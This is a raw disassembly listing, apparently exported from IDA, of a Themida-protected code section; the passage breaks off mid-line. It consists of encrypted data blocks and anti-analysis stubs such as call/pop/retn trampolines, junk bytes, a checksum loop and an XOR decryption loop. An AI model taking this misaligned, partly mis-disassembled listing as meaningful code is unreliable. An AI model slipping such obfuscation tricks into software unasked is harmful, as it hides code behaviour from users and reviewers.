3BEE3F34h, 2B8E36A3h, 1412ED9Dh, 49858D06h dd 6A06178Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 782EC357h, 0FE854DEh, 383h, 0F98B6600h dd 11E850h, 0A5D0000h, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh dd 667F0828h, 5B0CE2BBh, 66240489h, 64B8B6BBh, 35FFh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 7CF7F1C3h, 0D3818703h, 3718F1FFh, 258964h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 1558C356h, 0ED3DCC42h, 851EEEB8h, 0FC4CB80h dd 582h, 3193BF00h, 85FF22D3h, 6142DEDh, 3820Fh, 8B660000h dd 0E9FF6ADFh, 12h, 84AD59BBh, 6ECCA542h, 101E5394h, 2923B216h dd 0B5FFC68Bh, 6141D11h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0CEC35545h, 915B3892h, 0A5BD8BEBh, 106142Fh dd 143119BDh, 8995FF06h, 0E906142Ah, 104h, 0F6BBF66h, 22DBD8Bh dd 0B00614h, 0E7DFEF81h, 0BF663A32h, 70E65D87h, 5FDE8B53h dd 0E6B771E4h, 830F613Ch, 0DCh, 15BDBD8Bh, 0B60F0614h dd 68A0FC8h, 8B000000h, 140F51BDh, 6BA06h, 0BD8B0000h dd 6141E65h, 9D89C18Bh, 6140C89h, 8904E8C1h, 14259585h dd 0E2F76606h, 8BF8C82Bh, 8D8B60D1h, 6140F55h, 0E961E28Ah dd 0 ; --------------------------------------------------------------------------- mov eax, [ebp+61407DDh] add [ebp+6142355h], esi add eax, 7 add eax, 0 jmp loc_5C46FC ; --------------------------------------------------------------------------- db 0C7h dd 701A386Bh, 6FC8BE49h ; --------------------------------------------------------------------------- loc_5C46FC: ; CODE XREF: Themida_:005C46EEj cmp edx, eax jnb loc_5C471E jmp loc_5C4717 ; --------------------------------------------------------------------------- db 9Ah, 26h, 3Eh dd 7F8229B8h, 5F2E4145h db 2Ch, 0CAh, 0D8h ; --------------------------------------------------------------------------- loc_5C4717: ; CODE XREF: Themida_:005C4704j jmp loc_5C4770 ; --------------------------------------------------------------------------- mov bl, 1Fh loc_5C471E: ; CODE XREF: Themida_:005C46FEj mov ecx, [ebp+61420ADh] add di, 767Ah and ecx, 1 jz loc_5C4770 mov [ebp+61403F1h], eax and dword ptr [ebp+61420ADh], 0FFFFFFFEh jmp loc_5C4749 ; --------------------------------------------------------------------------- dd 5155DEDBh db 0B4h ; --------------------------------------------------------------------------- loc_5C4749: ; CODE XREF: Themida_:005C473Fj mov [ebp+61407DDh], edx jmp loc_5C4768 ; --------------------------------------------------------------------------- dd 0F32BE720h, 0AA4ACC41h, 0B9D33E63h, 72C4E4F2h, 37B66D52h ; --------------------------------------------------------------------------- loc_5C4768: ; CODE XREF: Themida_:005C474Fj movzx edi, dx jmp $+5 loc_5C4770: ; CODE XREF: Themida_:loc_5C4717j ; Themida_:005C472Cj lea esi, [ebp+617E17Dh] push 0 push eax call sub_5C4781 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4781 proc near ; CODE XREF: Themida_:005C4779p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh loc_5C478E: ; CODE XREF: Themida_:005C47B8j inc eax push eax retn sub_5C4781 endp ; --------------------------------------------------------------------------- db 49h, 63h, 0E7h ; --------------------------------------------------------------------------- jz short loc_5C480C inc ecx stc mov ecx, 6A006Ah push eax call sub_5C47A6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C47A6 proc near ; CODE XREF: Themida_:005C479Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C47A6 endp ; --------------------------------------------------------------------------- dw 7CE6h ; --------------------------------------------------------------------------- loopne loc_5C478E adc al, 0E7h mov edi, [ebp+6142561h] call dword ptr [ebp+6142971h] mov ebx, [ebp+61409ADh] mov ecx, 861h push 0 push ecx call sub_5C47DE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C47DE proc near ; CODE XREF: Themida_:005C47D6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C47DE endp ; --------------------------------------------------------------------------- cmpsb mov edi, 0E183E6BEh cld mov [ebp+6140D79h], ebx cld push 0 push ecx call sub_5C4807 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4807 proc near ; CODE XREF: Themida_:005C47FFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx loc_5C480C: ; CODE XREF: Themida_:005C4794j add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C4807 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ss mov edi, [ebp+6141AC1h] mov eax, 0 push 0 push edx call sub_5C482E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C482E proc near ; CODE XREF: Themida_:005C4826p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C482E endp ; --------------------------------------------------------------------------- dw 0DB4Ch ; --------------------------------------------------------------------------- mov edx, 881E7B33h jmp loc_5C485D ; --------------------------------------------------------------------------- dw 836Ch dd 5EC337E4h, 0F51DEFFh, 0E2C96D77h, 0AE147D7Ah db 2Bh ; --------------------------------------------------------------------------- loc_5C485D: ; CODE XREF: Themida_:005C4845j cld mov edx, 0 mov [ebp+6140E21h], ebx loc_5C4869: ; CODE XREF: Themida_:005C4873j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C4869 push 0 push edi call sub_5C4880 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4880 proc near ; CODE XREF: Themida_:005C4878p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C4880 endp ; --------------------------------------------------------------------------- adc esi, edi aas dec eax pop es cmp dh, dh mov [ebp+6141D09h], edi mov edi, [ebp+61430D5h] ja loc_5C48AF mov [ebp+61417DDh], edx loc_5C48AF: ; CODE XREF: Themida_:005C48A3j jmp loc_5C48C3 ; --------------------------------------------------------------------------- dd 26CFF4A5h, 917E8919h, 0A4461F30h ; --------------------------------------------------------------------------- jno short loc_5C48EB stc loc_5C48C3: ; CODE XREF: Themida_:loc_5C48AFj or eax, 88h push 0 push ecx call sub_5C48D3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C48D3 proc near ; CODE XREF: Themida_:005C48CBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C48D3 endp ; --------------------------------------------------------------------------- mov cl, 37h xchg ch, [ebx] pusha ficomp dword ptr [esi] pop ecx loc_5C48EB: ; CODE XREF: Themida_:005C48C0j push 78h mov edi, [ebp+61420B9h] mov edx, [ebp+6142B69h] push 0 push ecx call sub_5C4904 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4904 proc near ; CODE XREF: Themida_:005C48FCp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C4904 endp ; --------------------------------------------------------------------------- movsd xor [eax], edx and eax, [edi-0Eh] adc al, ds:8D8B5FDEh push ebp adc [esi+eax], dl push 0 push esi call sub_5C492F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C492F proc near ; CODE XREF: Themida_:005C4927p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5C492F endp ; --------------------------------------------------------------------------- mov ebp, 602C7D02h aad 0F9h mov edi, [ebp+6141B15h] push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax mov [ebp+61410EDh], eax mov ebx, 3E341B71h cmp dword ptr [ebp+6140F4Dh], 0 jz loc_5C49E2 jmp loc_5C4985 ; --------------------------------------------------------------------------- db 0B4h dd 22040714h, 0B7C7C0B1h ; --------------------------------------------------------------------------- popf loc_5C4985: ; CODE XREF: Themida_:005C4976j mov eax, 0 mov edi, edx lea ecx, [ebp+6144DFFh] push 0 push edx call sub_5C499D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C499D proc near ; CODE XREF: Themida_:005C4995p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C499D endp ; --------------------------------------------------------------------------- db 0C8h, 21h, 0A6h dd 0B095CFB9h, 6840Fh, 9D8B0000h, 6141AEDh, 6AE1FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0D6548CC3h ; --------------------------------------------------------------------------- mov ebx, edi loc_5C49E2: ; CODE XREF: Themida_:005C4970j cmp dword ptr [ebp+614013Dh], 0 jz loc_5C4E33 push 0 push ecx call sub_5C49FA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C49FA proc near ; CODE XREF: Themida_:005C49F2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C49FA endp ; --------------------------------------------------------------------------- dw 6A1Ch dd 3A10F24Dh, 0CD1B589h, 0B5890614h, 6141545h, 13DBD83h dd 0F010614h, 42584h, 0ACF8100h, 8308837Bh, 14013DBDh dd 860F0306h, 3DCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0A0C35545h, 1FEFCFB3h, 6A60F80Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0C96BC351h, 29776120h, 1406AD8Dh, 0D98C6606h, 0B260BB66h dd 6A04E180h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 5565C351h, 97D80076h, 0D98B6630h dd 0BE9h, 0E3296B00h, 60F61735h, 9FA87A3Fh, 840FC90Ah dd 121h, 659D01h, 858B0614h, 6140E35h, 0D69BD89h, 85330614h dd 61406A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0D8C35343h, 0FE8B6690h, 13860F50h, 0E9000000h dd 0Eh, 4C31C9BAh, 8B151308h, 31210DA2h, 6A90E554h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0B82EC350h, 2B6499B9h, 0F10A5DEh, 6AF9BFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h, 0B4B8035Fh dd 2287AC68h, 240481DBh, 24FC7C53h, 0A9D9531h, 95FF0614h dd 614089Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 93C35343h, 858950C7h, 617A7EAh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 9EC35747h, 54EB4589h dd 1F6E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 9E0F02C3h, 20CBC0Ah, 0E2858BF6h dd 0F0617A7h, 689h, 0BDBD8B00h, 0E806141Dh, 7, 0AA0CE4BAh dd 0E80B1AB5h, 13h, 63BDA868h, 0AD96F7BBh, 0F97C550Bh dd 132E4DEEh, 66D54EA3h, 8471EF81h, 0C75F5Bh, 18h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 48C9461h dd 3547AC11h, 7E9h, 0C9864500h, 859BB535h, 0A7E6B58Bh dd 0DE8B0617h, 281858Bh, 890F0614h, 1Eh, 12E8h, 29759200h dd 9C036305h, 1739A1A3h, 132A834Ah, 81EAF73Fh, 3031A8DBh dd 0D88A5B0Bh, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0D7486FC3h, 574FD4C9h, 25F19D23h dd 8B5F0614h, 140E3585h, 68C0F06h, 8B000000h, 1412959Dh dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 56C35040h, 9719FC34h, 51DDA27Bh, 6800F5Fh, 89000000h dd 14258D8Dh, 0BB669606h, 6650CE2Ch, 6A96DF8Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0C9DBC352h, 0B3CA29B0h, 7617B559h, 9ACB8166h, 0E2B5FF86h dd 890617A7h, 14028595h, 49BB6806h, 0B7BB66B5h, 813D2587h dd 4A442434h, 0EB8066AAh, 0EA858D29h, 6A0617A7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0ECECC355h, 0DE8B6650h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5A80C356h dd 0F050178Fh, 2B75BD8Bh, 95FF0614h, 614089Dh, 3C98D31h dd 5E90614h, 62000000h, 3C33753Ch, 3D85C761h, 3061401h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 5289C353h, 0A7EABD83h, 0F000617h dd 2384h, 0E95F5300h, 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 9DC35646h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5C4E33: ; CODE XREF: Themida_:005C49E9j ; Themida_:005C4E4Aj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C4E33 jmp short loc_5C4E69 ; --------------------------------------------------------------------------- loc_5C4E4E: ; CODE XREF: Themida_:005C4E65j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C4E4E jmp short $+2 loc_5C4E69: ; CODE XREF: Themida_:005C4E4Cj mov eax, eax mov edi, [ebp+6140475h] cmp dword ptr [ebp+614013Dh], 3 jnz loc_5C5264 mov [ebp+6140071h], ebx cmp dword ptr [ebp+617A7EAh], 0 jz loc_5C5264 push 0 push ebx call sub_5C4E9C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4E9C proc near ; CODE XREF: Themida_:005C4E94p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5C4E9C endp ; --------------------------------------------------------------------------- dd 0EAB5FFE1h, 8B0617A7h, 3995FFDEh, 8A061403h, 0DEB58BDEh dd 6A0617A7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E872C355h, 0E9F88A3Fh, 0Fh, 0EBEE2F9Eh dd 0C3966507h, 13C8526Fh, 0C72F45D5h, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0CC2AD2FBh, 4EABFEE5h, 96D98B66h, 0C68B6660h, 61D98B66h dd 52505650h, 12E8h, 53251500h, 177A3C19h, 0FCFD4895h dd 0D4F35030h, 5F690C39h, 585A310Fh, 0BD89965Fh, 6142355h dd 0A7EAB5FFh, 810F0617h, 3, 0FF68F780h, 14108195h, 0DEB58B06h dd 6A0617A7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4036C355h, 0D8494200h, 0DF27AA16h dd 3481BD8Bh, 858B0614h, 6140FF9h, 160D9D8Bh, 86890614h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0FEC35242h, 8B0B82FDh, 14190D9Dh, 69958B06h, 0F06142Bh dd 168Ah, 0BE800h, 4FB90000h, 0FCDF20E7h, 0DC06AC1Ah, 9A32BB7Fh dd 835B7828h, 0BD8B04C2h, 61410A1h, 6A205089h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 26EEC353h, 0F64540Ah, 0D98BFEB7h, 0BC23858Dh, 0CE90617h dd 0 ; --------------------------------------------------------------------------- push ebx retf 0B785h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 6Dh, 0D5h, 0FFh dd 89BA7BCFh, 0B886h, 0A183BB00h, 6A238Ch, 7C29C7BBh, 0EAB5FF4Fh dd 660617A7h, 0FF96E2BBh, 1433AD95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 13E9D162h dd 0E6000000h, 7A496487h, 5380C92h, 183FCECCh, 50710DF2h dd 8A96F64Ah, 8F0F50D9h, 10h, 7E8h, 7AB62600h, 0B10326E9h dd 5FF88B66h, 459D8B96h, 0FF061408h, 17A7EAB5h, 0CB8006h dd 313DBD03h, 95FF0614h, 6142309h, 9E9h, 26269200h, 0BD973BF2h dd 0BD83A4C8h, 6141189h, 61840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 18C0C355h, 9D8B568Dh, 6141FC1h, 2FBB505Fh, 89291AD9h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0C51D48C3h, 0E58589E9h, 6006140Eh, 1099B531h dd 81660614h, 61D77ED8h, 0A7EAB5FFh, 0FFF90617h, 1402D595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B8BF506Ch, 0C41BD8Bh, 870F0614h, 3, 0FFD9BF0Fh dd 17A7EAB5h, 0FFD4B706h, 140B7595h, 5E806h, 69510000h dd 8BCEEC31h, 141705BDh, 800F5B06h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+614112Dh], 2 jz loc_5C5236 push 0 push esi call sub_5C51BC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C51BC proc near ; CODE XREF: Themida_:005C51B4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5C51BC endp ; --------------------------------------------------------------------------- push ds jz short loc_5C5235 mov ebx, ecx mov [ebp+6141689h], esi jmp loc_5C51EF ; --------------------------------------------------------------------------- dd 71BCE59Ah, 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh ; --------------------------------------------------------------------------- and [esi-69h], ebp loc_5C51EF: ; CODE XREF: Themida_:005C51D7j mov eax, [ebp+6140055h] mov ebx, 495CB37Fh mov byte ptr [eax], 0 push 0 push ecx call sub_5C5208 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5208 proc near ; CODE XREF: Themida_:005C5200p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5C5208 endp ; --------------------------------------------------------------------------- add [edx+6820FA6Eh], ebx dec edx jmp loc_5C5236 ; --------------------------------------------------------------------------- dd 18A8CD2h, 0CD984E1Ch, 1AA3FF59h, 0FD3F469h db 39h ; --------------------------------------------------------------------------- loc_5C5235: ; CODE XREF: Themida_:005C51CDj inc ebp loc_5C5236: ; CODE XREF: Themida_:005C51ABj ; Themida_:005C521Fj mov dword ptr [ebp+6141E49h], 0 push 0 push edi call sub_5C524B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C524B proc near ; CODE XREF: Themida_:005C5243p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5C524B endp ; --------------------------------------------------------------------------- pop edx stosd dec edx mov ebx, [ebp+6140741h] loc_5C5264: ; CODE XREF: Themida_:005C4E78j ; Themida_:005C4E8Bj jmp near ptr dword_5C3FFC+619h ; --------------------------------------------------------------------------- mov edi, [ebp+6142FF5h] mov eax, ecx push 0 push esi call sub_5C527C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C527C proc near ; CODE XREF: Themida_:005C5274p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5C527C endp ; --------------------------------------------------------------------------- dd 0C20D1D80h, 0B07645E2h, 4585293Ch, 8D061431h, 14079185h dd 8B666006h, 669061CBh, 5048ECBBh, 48A0Fh, 0BF660000h dd 6A90186Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 297CC353h, 14128D9Dh, 6800F06h dd 8B000000h, 1407FD9Dh, 6A006A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3DD5C356h dd 9589817Ch, 6142A69h, 8B66006Ah, 719D8BDFh, 8D061412h dd 1878F885h, 11958906h, 83061420h, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F3864FC3h dd 9B2C3EB2h, 0FE91EF2h, 0F9000000h, 740C2E5Ch, 94CBC005h dd 68151E3Eh, 0B75004E9h, 240489D2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 85C35646h, 0A520ED15h, 6A7EE2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9CC35545h dd 0CA593E29h, 6A006AC3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0BF74C355h, 153A0B7Ch dd 0ED9D892Ch, 0FF06142Fh, 141B1995h, 0DBD8B06h, 8D061400h dd 17A7788Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0ADBD310Ch, 89061406h, 1423D595h dd 83D1FF06h, 1401CDBDh, 850F0106h, 78h, 870F026Ah, 6 dd 197DB589h, 50900614h, 0FDF8B52h, 9E931h, 820B0000h dd 24469F99h, 5A730406h, 0DE85058h, 0B1000000h, 88F2D5EEh dd 0BD4DF798h, 53BDD876h, 58D0Fh, 20BB0000h, 5B06F042h dd 55E78090h, 33AD95FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B418A1C3h, 0F4615F19h dd 9D230E2Bh, 6142975h, 0E7CE9h, 0E800h, 815D0000h, 187902EDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 6AF841h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD8BD6C3h, 61416D9h, 8E49858Dh dd 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0D2C5FCC3h, 61E00F04h, 0BD0187B7h, 6140B9Dh dd 850F90h, 50000000h, 522EBB66h, 6DBD8990h, 64061429h dd 35FFh, 81660000h, 640D25D3h, 2589h, 0BD8B0000h, 6142689h dd 2DED85FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 10D3E7C3h, 870CAF75h, 1F01BD8Bh dd 0FF6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0F4C35545h, 0D2D5CE02h, 0D7803374h, 0DB5FFBBh dd 6A061408h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B190C356h, 694A05C6h, 2DB58904h dd 8906141Fh, 141271B5h, 8995FF06h, 0E906142Ah, 14Ah, 8900B0F9h dd 1411219Dh, 6670E606h, 71E4FB8Bh, 15CD9589h, 613C0614h dd 12C830Fh, 0B60F0000h, 0EE9C8h, 94220000h, 3CD55877h dd 23891496h, 6B9EFE0Eh, 6BAh, 0A1858900h, 8B06141Fh, 0C890FC1h dd 0F000000h, 68Ah, 919D8B00h, 0C106142Ah, 0E78104E8h dd 6002BD9Ch, 8BE2F766h, 140F219Dh, 0BFC82B06h, 39CC9412h dd 8D0FD18Bh, 10h, 0BE9h, 8942C000h, 75E10C31h, 39C7D246h dd 3E9h, 0FAB70F00h, 2DA1858Bh, 0BF0F0614h, 6ABA60DEh dd 0F8085B32h, 7C08361h, 6D38166h, 0C08302h, 238A0Fh, 5E80000h dd 3F000000h, 60047DEAh, 12E8h, 3A7B4F00h, 0BAE66B65h dd 1C3F3210h, 674D512Ch, 5BD0E181h, 0FD03B5Fh, 1483h, 98D8900h dd 0E906142Ah, 66h, 4CB86660h, 84DC80F1h, 5D8D8B61h, 0E806140Ch dd 6, 774AD3C1h, 10E86EBEh, 7D000000h, 3CDCA8Bh, 1F68BBA6h dd 0B3BE820Eh, 81AB398Dh, 47BA81CBh, 835F5B52h, 840F01E1h dd 26h, 14DB589h, 0A5830614h, 6140C5Dh, 89FE8BFEh, 142DA195h dd 68A0F06h, 8B000000h, 140A0DBDh, 0E906h, 0B58D0000h dd 617EB6Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 32C35040h, 1753FB38h, 57CBF1F4h, 6A006AA4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 2274C351h, 6820Fh, 0BD890000h, 6140755h, 297195FFh dd 89600614h, 140255BDh, 0CBE38106h, 614CF921h, 808B9h dd 91B53100h, 8306141Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 374E55C3h, 6AFCFDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 69EBA8C3h, 0C02B2B1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 4DC35545h, 0B3B56E2h, 6268088Bh, 0BAh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 7A13F7AEh, 0AD483A24h, 0E8D1C233h, 0E983D003h dd 0FCF47504h, 9698D29h, 880D0614h, 89000000h, 1425C985h dd 69958B06h, 6A06142Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0B08FC353h, 79B58960h dd 2906141Ah, 140A2D85h, 8D8B6106h, 6141055h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 6D850911h dd 306141Ah, 1420C5BDh, 7830F06h, 0F000000h, 182h, 8B50F800h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 50C35646h, 175BD03h dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F5AC2C3h, 0BD83FFBFh, 6140F4Dh, 47840F00h dd 80000000h, 0B891C3h, 31000000h, 140DCD85h, 0FF8D8D06h dd 6A06144Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 3D14C353h, 0FD705E5h, 58Dh, 0B7DBBB00h dd 0E1FF360Ah, 1A05BD89h, 0BD830614h, 614013Dh, 0C5840F00h dd 0BF000004h, 54989E76h, 13DBD83h, 0F010614h, 4CE84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 7D573ABDh, 0BD8BDDEFh, 6140FEDh, 13DBD83h dd 0F030614h, 46486h, 6A60F900h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 83DFC351h, 420D9DE9h dd 9D8B5794h, 614258Dh, 6AD98C66h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 724C356h dd 9A1ADA94h, 23E32F09h, 0E180DA8Bh, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 54664B11h dd 8D899830h, 6141215h, 840FC90Ah, 116h, 0E35858Bh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 3B0AC7C3h, 195894Fh, 8906140Bh, 141A519Dh, 0C9858906h dd 33061433h, 1406A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 39BD0B21h dd 90061430h, 50FB8B66h, 0E990F98Bh, 11h, 3A125976h, 0A2DFE6B6h dd 0F2378D19h, 317A2EA2h, 0BB006A5Fh, 232B89C3h, 99F09A68h dd 24348115h, 1586F365h, 0B40FE5BFh, 9D95FF5Dh, 6A061408h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0DD6CC356h, 89626A8Bh, 17A7EA85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 859D8B7Fh, 6006142Bh, 8E9h, 2E158C00h, 0E8B8C7EBh, 0D98D89C5h dd 61061423h, 236E9h, 0EE900h, 0F3830000h, 0CFD19C19h dd 135270BDh, 0C600A4E7h, 261B589h, 858B0614h, 617A7E2h dd 0C599509h, 0C70614h, 18h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0CDC35343h, 0E82E789Eh, 0Eh dd 52B355D0h, 0FE6A644h, 259342B2h, 9D238E41h, 6140B15h dd 0E6B58B5Bh, 310617A7h, 142D2595h, 81858B06h, 6A061402h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0B2A3C357h, 0D433AD8Eh, 0AE97D6F9h, 1F059D23h dd 6890614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0A2C35545h, 